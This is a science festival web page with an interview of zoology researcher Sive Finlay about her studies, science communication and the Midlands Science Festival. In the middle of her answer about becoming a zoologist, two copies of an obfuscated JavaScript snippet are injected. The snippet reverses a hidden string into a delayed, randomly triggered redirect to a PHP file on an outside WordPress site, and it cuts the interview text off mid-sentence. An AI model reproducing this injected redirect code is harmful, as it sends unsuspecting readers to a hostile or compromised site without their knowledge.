‘My Mum still calls me when she finds a hidden bird’s nest!’

We would like to introduce one of our key speakers, Sive Finlay, who will be delivering some exciting presentations in the Midlands this year called ‘The Silence of the Tenrecs’..

Sive is postgraduate Zoology researcher at Trinity College Dublin with a broad range of research interests in evolution, ecology, comparative biology and behavioural ecology.  She also has a keen interest in science writing and communication

We caught up with Sive to find out more …

Can you tell us a little bit about your role in TCD?
I’m a postgraduate student working in the Zoology department. That means that I work on my own research questions but I have a supervisor to offer guidance and advice. Being a research student is a bit like an apprentice training scheme: you learn how to become a fully-fledged scientist. My department is a fantastic place to work with lots of friendly staff and students who are always willing to offer a helping hand. There are also lots of opportunities to get involved with teaching and fun outreach activities, not to mention some great travel opportunities for conferences and fieldwork. It’s a great place to work!

Congratulations on being the 2014 winner of the Best Science and Technology blog at the Irish Blog Awards – Why is it so important to be able to communicate science effectively?
Thanks! This was the first year that we entered our EcoEvo@TCD blog so we were delighted to win the award. We have lots of staff and students who contribute interesting and varied articles so it was great to be recognised for our work. I love writing for the blog and it has definitely helped to hone my communication skills.

Many people think that science is incredibly complicated and too difficult to understand. I think that it’s our job as scientists to cut through that barrier and to make science interesting and accessible for wider audiences. New scientific discoveries and research affect every aspect of our daily lives so it’s important to communicate these ideas to the public. We need effective communica tors to inspire the next generation of scientists and to share the new discoveries that shape our understanding of the world.

What piece of research currently interests you the most? What are you most passionate about in science?
My background is in zoology so I’ve always been interested in trying to understand how animals have evolved through interactions with their environment. But I’m equally curious and fascinated by areas completely outside my own research area. Most recently, I’ve been teaching primary school children about the big bang and the his tory of our universe (way outside my usual comfort zone) so that inspired me to read more about cosmology and astrophysics. I love the diversity of science: there’s always something new to discover!

What led you in to a career in science and zoology in particular?
I’ve always been interested in nature and the environment and trying to figure out how things work. This was fuelled by a steady diet of David Attenborough $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}documentaries and my mum, who still calls me when she’s found a pretty spider’s web or hidden bird’s nest. I wasn’t sure what I wanted to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do after school so I chose a general science degree to keep my options open. I loved my biology courses, especially the ones on animal behaviour and evolution, so I followed my interests to complete a zoology degree. I became a zoologist by accident rather than design but I couldn’t be happier with my choice.

Why is it important to support festivals like the Midlands Science Festival?
I think the Midlands Science Festival is a great opportunity for people to learn what science is all about. The old stereotype of the “mad scientist” locked away in a lab is still too common. The events in this festival put a human face to scientific research and hopefully they will inspire more people to take an interest in science or to study STEM subjects. From the scientists’ point of view, festivals like these are really fun opportunities to share our enthusiasm for our subjects. Scientists talking about their research are usually a fairly excitable bunch!

http://sivefinlay.com/